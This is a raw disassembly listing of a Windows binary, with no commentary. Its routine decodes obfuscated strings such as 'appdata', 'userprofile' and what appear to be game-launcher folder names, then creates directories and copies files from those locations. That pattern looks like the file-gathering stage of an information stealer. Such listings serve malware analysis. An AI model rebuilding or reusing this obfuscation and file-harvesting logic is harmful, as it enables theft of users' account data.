cmp ecx, 7
jb 0x43e130
lea eax, [ebp - 0xc5]
push eax
call fcn.004dff73
lea ecx, [ebp - 0xb3c]
mov edx, eax
push ecx
lea ecx, [ebp - 0x7fc]
call fcn.00464300
add esp, 8
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0xb3c]
call fcn.00402890
cmp dword [ebp - 0x7e8], 0x10
lea edx, [ebp - 0x7fc]
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x7fc]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x20], esp
mov ecx, edx
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e1b5
sub ecx, dword [ebp - 0x2c]
push ecx
push edx
mov ecx, esi
call fcn.00402aa0
mov byte [ebp - 4], 0x22
mov byte [ebp - 4], 0x21
call fcn.0040b8a0
add esp, 0x18
test al, al
je 0x43e2d8
movaps xmm0, xmmword [0x5278e0]
xor ecx, ecx
movups xmmword [ebp - 0x424], xmm0
mov dword [ebp - 0x414], 0xb5f1acba
mov dword [ebp - 0x410], 0xb1b0ac
nop dword [eax]
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x424]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x424], al
inc ecx
cmp ecx, 0x17
jb 0x43e210
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x424]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e238
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x2b4]
sub eax, edx
cmp eax, ecx
jb 0x44197a
cmp dword [ebp - 0x2b0], 0x10
lea eax, [ebp - 0x2c4]
push ecx
cmovae eax, dword [ebp - 0x2c4]
lea ecx, [ebp - 0x424]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xc8c]
call fcn.004680d0
or dword [ebp - 0x28], 0x10
lea ecx, [ebp - 0xc8c]
cmp dword [ebp - 0xc78], 0x10
lea eax, [ebp - 0x7fc]
push 0
cmovae ecx, dword [ebp - 0xc8c]
cmp dword [ebp - 0x7e8], 0x10
push ecx
cmovae eax, dword [ebp - 0x7fc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x28], 0xffffffef
mov esi, eax
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0xc8c]
call fcn.00402890
test esi, esi
je 0x43e2d8
mov byte [ebp - 0x38], 1
jmp 0x43e2ed
cmp byte [ebp - 0xe], 0
jne 0x43e2ed
push ecx
lea ecx, [ebp - 0x2c4]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x7fc]
call fcn.00402890
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x814]
call fcn.00402890
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x82c]
call fcn.00402890
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x1e9], 0xbe938b83
xor ecx, ecx
mov dword [ebp - 0x1e5], 0xb7bcb1aa
mov word [ebp - 0x1e1], 0xadba
mov byte [ebp - 0x1df], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1e9]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1e9], al
inc ecx
cmp ecx, 0xa
jb 0x43e350
lea eax, [ebp - 0x1e9]
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x6a8]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x24
lea eax, [ebp - 0x6a8]
cmp dword [ebp - 0x694], 0x10
push 0
cmovae eax, dword [ebp - 0x6a8]
push eax
call esi
test eax, eax
je 0x43e68c
movaps xmm0, xmmword [0x5270a0]
xor ecx, ecx
movups xmmword [ebp - 0x9c1], xmm0
mov dword [ebp - 0x991], 0xacb5f1ac
movaps xmm0, xmmword [0x527400]
movups xmmword [ebp - 0x9b1], xmm0
mov word [ebp - 0x98d], 0xb1b0
movaps xmm0, xmmword [0x527b30]
movups xmmword [ebp - 0x9a1], xmm0
mov byte [ebp - 0x98b], 0
movzx eax, byte [ebp + ecx - 0x9c1]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x9c1], al
inc ecx
cmp ecx, 0x36
jb 0x43e3f1
xorps xmm0, xmm0
mov dword [ebp - 0x5f0], 0
lea ecx, [ebp - 0x9c1]
mov dword [ebp - 0x5ec], 0
movups xmmword [ebp - 0x600], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e433
sub ecx, edx
lea eax, [ebp - 0x9c1]
push ecx
push eax
lea ecx, [ebp - 0x600]
call fcn.00402aa0
mov byte [ebp - 4], 0x25
xor ecx, ecx
mov dword [ebp - 0xcd], 0x9b8f8f9e
mov dword [ebp - 0xc9], 0x9e8b9e
nop dword [eax]
movzx eax, byte [ebp + ecx - 0xcd]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xcd], al
inc ecx
cmp ecx, 7
jb 0x43e470
lea eax, [ebp - 0xcd]
push eax
call fcn.004dff73
lea ecx, [ebp - 0x600]
mov edx, eax
push ecx
lea ecx, [ebp - 0x844]
call fcn.00464300
add esp, 8
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x5ec]
cmp ecx, 0x10
jb 0x43e4ec
mov edx, dword [ebp - 0x600]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e4e2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44197f
push ecx
push edx
call fcn.004bafb1
add esp, 8
cmp dword [ebp - 0x830], 0x10
lea edx, [ebp - 0x844]
mov dword [ebp - 0x5f0], 0
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x844]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x5ec], 0xf
mov ecx, edx
mov byte [ebp - 0x600], 0
mov dword [ebp - 0x20], esp
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x2c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e540
sub ecx, dword [ebp - 0x2c]
push ecx
push edx
mov ecx, esi
call fcn.00402aa0
mov byte [ebp - 4], 0x28
mov byte [ebp - 4], 0x27
call fcn.0040b8a0
add esp, 0x18
test al, al
je 0x43e668
movaps xmm0, xmmword [0x527990]
xor ecx, ecx
movups xmmword [ebp - 0x3c3], xmm0
mov dword [ebp - 0x3b3], 0xf1acbab3
mov dword [ebp - 0x3af], 0xb1b0acb5
mov byte [ebp - 0x3ab], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x3c3]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x3c3], al
inc ecx
cmp ecx, 0x18
jb 0x43e5a0
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x3c3]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e5c8
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x698]
sub eax, edx
cmp eax, ecx
jb 0x44197a
cmp dword [ebp - 0x694], 0x10
lea eax, [ebp - 0x6a8]
push ecx
cmovae eax, dword [ebp - 0x6a8]
lea ecx, [ebp - 0x3c3]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xca4]
call fcn.004680d0
or dword [ebp - 0x28], 0x20
lea ecx, [ebp - 0xca4]
cmp dword [ebp - 0xc90], 0x10
lea eax, [ebp - 0x844]
push 0
cmovae ecx, dword [ebp - 0xca4]
cmp dword [ebp - 0x830], 0x10
push ecx
cmovae eax, dword [ebp - 0x844]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x28], 0xffffffdf
mov esi, eax
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0xca4]
call fcn.00402890
test esi, esi
je 0x43e668
mov byte [ebp - 0x38], 1
jmp 0x43e677
push ecx
lea ecx, [ebp - 0x6a8]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x844]
call fcn.00402890
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x275], 0xbeba9983
xor ecx, ecx
mov dword [ebp - 0x271], 0xadbab7ab
mov dword [ebp - 0x26d], 0xbab6b39c
mov word [ebp - 0x269], 0xabb1
mov byte [ebp - 0x267], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x275]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x275], al
inc ecx
cmp ecx, 0xe
jb 0x43e6c0
lea eax, [ebp - 0x275]
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x690]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x2a
lea eax, [ebp - 0x690]
cmp dword [ebp - 0x67c], 0x10
push 0
cmovae eax, dword [ebp - 0x690]
push eax
call esi
test eax, eax
je 0x43e98c
movaps xmm0, xmmword [0x527800]
xor ecx, ecx
movups xmmword [ebp - 0x43c], xmm0
mov dword [ebp - 0x42c], 0xb5f1acab
mov dword [ebp - 0x428], 0xb1b0ac
nop
movzx eax, byte [ebp + ecx - 0x43c]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x43c], al
inc ecx
cmp ecx, 0x17
jb 0x43e740
xorps xmm0, xmm0
mov dword [ebp - 0xb44], 0
lea ecx, [ebp - 0x43c]
mov dword [ebp - 0xb40], 0
movups xmmword [ebp - 0xb54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e782
sub ecx, edx
lea eax, [ebp - 0x43c]
push ecx
push eax
lea ecx, [ebp - 0xb54]
call fcn.00402aa0
mov byte [ebp - 4], 0x2b
xor ecx, ecx
mov dword [ebp - 0xd5], 0x9b8f8f9e
mov dword [ebp - 0xd1], 0x9e8b9e
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0xd5]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xd5], al
inc ecx
cmp ecx, 7
jb 0x43e7c0
lea eax, [ebp - 0xd5]
push eax
call fcn.004dff73
lea ecx, [ebp - 0xb54]
mov edx, eax
push ecx
lea ecx, [ebp - 0x85c]
call fcn.00464300
add esp, 8
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0xb54]
call fcn.00402890
cmp dword [ebp - 0x848], 0x10
lea edx, [ebp - 0x85c]
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x85c]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x20], esp
mov ecx, edx
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e845
sub ecx, dword [ebp - 0x2c]
push ecx
push edx
mov ecx, esi
call fcn.00402aa0
mov byte [ebp - 4], 0x2e
mov byte [ebp - 4], 0x2d
call fcn.0040b8a0
add esp, 0x18
test al, al
je 0x43e968
mov dword [ebp - 0x219], 0xbcbcbe83
xor ecx, ecx
mov dword [ebp - 0x215], 0xabb1aab0
mov dword [ebp - 0x211], 0xacb5f1ac
mov word [ebp - 0x20d], 0xb1b0
mov byte [ebp - 0x20b], 0
movzx eax, byte [ebp + ecx - 0x219]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x219], al
inc ecx
cmp ecx, 0xe
jb 0x43e8a0
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x219]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e8c8
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x680]
sub eax, edx
cmp eax, ecx
jb 0x44197a
cmp dword [ebp - 0x67c], 0x10
lea eax, [ebp - 0x690]
push ecx
cmovae eax, dword [ebp - 0x690]
lea ecx, [ebp - 0x219]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xcbc]
call fcn.004680d0
or dword [ebp - 0x28], 4
lea ecx, [ebp - 0xcbc]
cmp dword [ebp - 0xca8], 0x10
lea eax, [ebp - 0x85c]
push 0
cmovae ecx, dword [ebp - 0xcbc]
cmp dword [ebp - 0x848], 0x10
push ecx
cmovae eax, dword [ebp - 0x85c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x28], 0xfffffffb
mov esi, eax
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0xcbc]
call fcn.00402890
test esi, esi
je 0x43e968
mov byte [ebp - 0x38], 1
jmp 0x43e977
push ecx
lea ecx, [ebp - 0x690]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x85c]
call fcn.00402890
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x258], 0xb1aa9383
xor ecx, ecx
mov dword [ebp - 0x254], 0xb39cadbe
mov dword [ebp - 0x250], 0xabb1bab6
mov byte [ebp - 0x24c], 0
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x258]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x258], al
inc ecx
cmp ecx, 0xc
jb 0x43e9c0
lea eax, [ebp - 0x258]
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x678]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x30
lea eax, [ebp - 0x678]
cmp dword [ebp - 0x664], 0x10
push 0
cmovae eax, dword [ebp - 0x678]
push eax
call esi
test eax, eax
je 0x43ecb2
movaps xmm0, xmmword [0x527a80]
xor ecx, ecx
movups xmmword [ebp - 0x745], xmm0
mov dword [ebp - 0x725], 0xabb1aab0
movaps xmm0, xmmword [0x527c90]
movups xmmword [ebp - 0x735], xmm0
mov dword [ebp - 0x721], 0xa7abf1ac
mov word [ebp - 0x71d], 0xab
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x745]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x745], al
inc ecx
cmp ecx, 0x29
jb 0x43ea60
xorps xmm0, xmm0
mov dword [ebp - 0xb5c], 0
lea ecx, [ebp - 0x745]
mov dword [ebp - 0xb58], 0
movups xmmword [ebp - 0xb6c], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43eaa2
sub ecx, edx
lea eax, [ebp - 0x745]
push ecx
push eax
lea ecx, [ebp - 0xb6c]
call fcn.00402aa0
mov byte [ebp - 4], 0x31
xor ecx, ecx
mov dword [ebp - 0x225], 0x8d9a8c8a
mov dword [ebp - 0x221], 0x99908d8f
mov dword [ebp - 0x21d], 0x9a9396
movzx eax, byte [ebp + ecx - 0x225]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x225], al
inc ecx
cmp ecx, 0xb
jb 0x43eae2
lea eax, [ebp - 0x225]
push eax
call fcn.004dff73
lea ecx, [ebp - 0xb6c]
mov edx, eax
push ecx
lea ecx, [ebp - 0x874]
call fcn.00464300
add esp, 8
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0xb6c]
call fcn.00402890
cmp dword [ebp - 0x860], 0x10
lea edx, [ebp - 0x874]
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x874]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x20], esp
mov ecx, edx
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43eb67
sub ecx, dword [ebp - 0x2c]
push ecx
push edx
mov ecx, esi
call fcn.00402aa0
mov byte [ebp - 4], 0x34
mov byte [ebp - 4], 0x33
call fcn.0040b8a0
add esp, 0x18
test al, al
je 0x43ec8e
mov dword [ebp - 0x1a1], 0xbcbcbe83
xor ecx, ecx
mov dword [ebp - 0x19d], 0xabb1aab0
mov dword [ebp - 0x199], 0xa7abf1ac
mov word [ebp - 0x195], 0xab
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x1a1]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1a1], al
inc ecx
cmp ecx, 0xd
jb 0x43ebc0
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x1a1]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ebe8
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x668]
sub eax, edx
cmp eax, ecx
jb 0x44197a
cmp dword [ebp - 0x664], 0x10
lea eax, [ebp - 0x678]
push ecx
cmovae eax, dword [ebp - 0x678]
lea ecx, [ebp - 0x1a1]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xcd4]
call fcn.004680d0
or dword [ebp - 0x1c], 0x40000000
lea ecx, [ebp - 0xcd4]
cmp dword [ebp - 0xcc0], 0x10
lea eax, [ebp - 0x874]
push 0
cmovae ecx, dword [ebp - 0xcd4]
cmp dword [ebp - 0x860], 0x10
push ecx
cmovae eax, dword [ebp - 0x874]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x1c], 0xbfffffff
mov esi, eax
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0xcd4]
call fcn.00402890
test esi, esi
je 0x43ec8e
mov byte [ebp - 0x38], 1
jmp 0x43ec9d
push ecx
lea ecx, [ebp - 0x678]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x874]
call fcn.00402890
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x231], 0xabbe9d83
xor ecx, ecx
mov dword [ebp - 0x22d], 0xf1bab3ab
mov dword [ebp - 0x229], 0xabbab1
movzx eax, byte [ebp + ecx - 0x231]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x231], al
inc ecx
cmp ecx, 0xb
jb 0x43ecd2
lea eax, [ebp - 0x231]
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x660]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0x660]
cmp dword [ebp - 0x64c], 0x10
push 0
cmovae eax, dword [ebp - 0x660]
push eax
call esi
test eax, eax
je 0x43f27e
xor al, al
mov dword [ebp - 0x16d], 0xabbe9d83
mov byte [ebp - 0xe], al
xor ecx, ecx
mov dword [ebp - 0x169], 0xf1bab3ab
mov dword [ebp - 0x165], 0xabbab1
movzx eax, byte [ebp + ecx - 0x16d]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x16d], al
inc ecx
cmp ecx, 0xb
jb 0x43ed52
xorps xmm0, xmm0
mov dword [ebp - 0x608], 0
lea ecx, [ebp - 0x16d]
mov dword [ebp - 0x604], 0
movups xmmword [ebp - 0x618], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ed94
sub ecx, edx
lea eax, [ebp - 0x16d]
push ecx
push eax
lea ecx, [ebp - 0x618]
call fcn.00402aa0
mov byte [ebp - 4], 0x37
xor ecx, ecx
mov dword [ebp - 0xdd], 0x9b8f8f9e
mov dword [ebp - 0xd9], 0x9e8b9e
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xdd]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xdd], al
inc ecx
cmp ecx, 7
jb 0x43edd0
lea eax, [ebp - 0xdd]
push eax
call fcn.004dff73
lea ecx, [ebp - 0x618]
mov edx, eax
push ecx
lea ecx, [ebp - 0xd4c]
call fcn.00464300
add esp, 8
mov byte [ebp - 4], 0x39
mov ecx, dword [ebp - 0x604]
cmp ecx, 0x10
jb 0x43ee4c
mov edx, dword [ebp - 0x618]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ee42
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44197f
push ecx
push edx
call fcn.004bafb1
add esp, 8
push 1
sub esp, 0x18
mov dword [ebp - 0x608], 0
lea eax, [ebp - 0xd4c]
mov dword [ebp - 0x20], esp
mov ecx, esp
mov dword [ebp - 0x604], 0xf
mov byte [ebp - 0x618], 0
push eax
mov byte [ebp - 0xd], 0
call fcn.0045fe50
mov byte [ebp - 4], 0x3a
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x880]
mov dl, byte [ebp - 0xd]
call fcn.00421b60
add esp, 0x1c
mov byte [ebp - 4], 0x3b
mov eax, dword [ebp - 0x880]
mov ecx, dword [ebp - 0x87c]
mov dword [ebp - 0x2c], eax
cmp eax, ecx
je 0x43f24b
mov byte [ebp - 0x34], 0
mov edi, ecx
mov byte [ebp - 0x20], 0
nop
push eax
lea ecx, [ebp - 0xb9c]
call fcn.0045fe50
mov byte [ebp - 4], 0x3c
lea edx, [ebp - 0xb9c]
push dword [ebp - 0x34]
lea ecx, [ebp - 0xb84]
call fcn.0046aff0
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0xb84]
cmp dword [ebp - 0xb70], 8
mov eax, dword [ebp - 0xb74]
cmovae ecx, dword [ebp - 0xb84]
lea esi, [ecx + eax*2]
mov edx, esi
call fcn.00404d20
push dword [ebp - 0x20]
sub esi, eax
mov dword [ebp - 0x2ac], eax
sar esi, 1
lea edx, [ebp - 0x2ac]
lea ecx, [ebp - 0xd1c]
mov dword [ebp - 0x2a8], esi
call fcn.0046ad50
add esp, 8
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x390]
or dword [ebp - 0x14], 0x80000
lea ecx, [ebp - 0xd1c]
push eax
call fcn.00405000
mov byte [ebp - 4], 0x41
and dword [ebp - 0x14], 0xfff7ffff
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0xd1c]
call fcn.00461fd0
mov word [ebp - 0x3b], 0xbdbb
xor ecx, ecx
mov byte [ebp - 0x39], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x3b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x3b], al
inc ecx
cmp ecx, 2
jb 0x43ef80
lea edx, [ebp - 0x3b]
lea ecx, [edx + 1]
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x43efa0
sub edx, ecx
lea eax, [ebp - 0x3b]
cmp dword [ebp - 0x37c], 0x10
lea ecx, [ebp - 0x390]
push edx
cmovae ecx, dword [ebp - 0x390]
mov edx, dword [ebp - 0x380]
push eax
push 0
call fcn.00465860
add esp, 0xc
cmp eax, 0xffffffff
jne 0x43f062
mov dword [ebp - 0x8a], 0xb9b1b0bc
xor ecx, ecx
mov word [ebp - 0x86], 0xb8b6
mov byte [ebp - 0x84], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x8a]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x8a], al
inc ecx
cmp ecx, 6
jb 0x43f000
lea edx, [ebp - 0x8a]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x43f024
sub edx, ecx
lea eax, [ebp - 0x8a]
cmp dword [ebp - 0x37c], 0x10
lea ecx, [ebp - 0x390]
push edx
cmovae ecx, dword [ebp - 0x390]
mov edx, dword [ebp - 0x380]
push eax
push 0
call fcn.00465860
add esp, 0xc
cmp eax, 0xffffffff
je 0x43f204
push 0xffffffffffffff83
mov byte [ebp - 0x3c], 0
call fcn.00461130
mov byte [ebp - 0x3d], al
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x3d]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43f080
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x650]
sub eax, edx
cmp eax, ecx
jb 0x44197a
cmp dword [ebp - 0x64c], 0x10
lea eax, [ebp - 0x660]
push ecx
cmovae eax, dword [ebp - 0x660]
lea ecx, [ebp - 0x3d]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xd34]
call fcn.004680d0
or dword [ebp - 0x14], 0x80000000
mov byte [ebp - 4], 0x45
lea eax, [ebp - 0x390]
cmp dword [ebp - 0x37c], 0x10
lea ecx, [ebp - 0xd34]
push dword [ebp - 0x380]
cmovae eax, dword [ebp - 0x390]
push eax
call fcn.004623f0
mov dword [ebp - 0x444], 0
lea ecx, [ebp - 0x454]
mov dword [ebp - 0x440], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x454], xmm0
push 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x454], xmm0
movq xmm0, qword [eax + 0x10]
or dword [ebp - 0x14], 0x20000000
movq qword [ebp - 0x444], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xb9c]
cmp dword [ebp - 0x440], 0x10
cmovae ecx, dword [ebp - 0x454]
cmp dword [ebp - 0xb88], 0x10
push ecx
cmovae eax, dword [ebp - 0xb9c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov eax, dword [ebp - 0x14]
and eax, 0xdfffffff
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0x44
mov ecx, dword [ebp - 0x440]
cmp ecx, 0x10
jb 0x43f1c6
mov edx, dword [ebp - 0x454]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43f1b9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44197f
push ecx
push edx
call fcn.004bafb1
mov eax, dword [ebp - 0x14]
add esp, 8
and eax, 0x7fffffff
mov dword [ebp - 0x444], 0
mov dword [ebp - 0x440], 0xf
mov byte [ebp - 0x454], 0
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0xd34]
call fcn.00402890
test esi, esi
je 0x43f204
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x38], 1
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x390]
call fcn.00402890
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0xb84]
call fcn.00461fd0
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0xb9c]
call fcn.00402890
mov eax, dword [ebp - 0x2c]
add eax, 0x18
mov dword [ebp - 0x2c], eax
cmp eax, edi
jne 0x43eec0
cmp byte [ebp - 0xe], 0
mov edi, dword [ebp - 0x14]
jne 0x43f25a
push ecx
lea ecx, [ebp - 0x660]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x880]
call fcn.00461d40
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0xd4c]
call fcn.00402890
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0xa2], 0xbaab8c83
xor ecx, ecx
mov word [ebp - 0x9e], 0xb2be
mov byte [ebp - 0x9c], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xa2]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xa2], al
inc ecx
cmp ecx, 6
jb 0x43f2a0
lea eax, [ebp - 0xa2]
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x49c]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x47
lea eax, [ebp - 0x49c]
cmp dword [ebp - 0x488], 0x10
push 0
cmovae eax, dword [ebp - 0x49c]
push eax
call esi
test eax, eax
je 0x43f9e1
movaps xmm0, xmmword [0x527590]
xor ecx, ecx
mov byte [ebp - 0xe], 0
movups xmmword [ebp - 0x35f], xmm0
mov dword [ebp - 0x34f], 0xe7a7f7ff
mov dword [ebp - 0x34b], 0xac83f6e9
mov dword [ebp - 0x347], 0xb2bebaab
mov byte [ebp - 0x343], 0
nop dword [eax]
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x35f]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x35f], al
inc ecx
cmp ecx, 0x1c
jb 0x43f340
xorps xmm0, xmm0
mov dword [ebp - 0x314], 0
lea ecx, [ebp - 0x35f]
mov dword [ebp - 0x310], 0
movups xmmword [ebp - 0x324], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43f382
sub ecx, edx
lea eax, [ebp - 0x35f]
push ecx
push eax
lea ecx, [ebp - 0x324]
call fcn.00402aa0
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x324]
cmp dword [ebp - 0x310], 0x10
cmovae ecx, dword [ebp - 0x324]
call fcn.0040b940
test al, al
jne 0x43f4a5
movaps xmm0, xmmword [0x527590]
xor ecx, ecx
movups xmmword [ebp - 0x46b], xmm0
mov dword [ebp - 0x45b], 0xbaabac83
mov word [ebp - 0x457], 0xb2be
mov byte [ebp - 0x455], al
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x46b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x46b], al
inc ecx
cmp ecx, 0x16
jb 0x43f3f0
xorps xmm0, xmm0
mov dword [ebp - 0x620], 0
lea ecx, [ebp - 0x46b]
mov dword [ebp - 0x61c], 0
movups xmmword [ebp - 0x630], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43f432
sub ecx, edx
lea eax, [ebp - 0x46b]
push ecx
push eax
lea ecx, [ebp - 0x630]
call fcn.00402aa0
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x324]
call fcn.00402890
movups xmm0, xmmword [ebp - 0x630]
mov byte [ebp - 0x630], 0
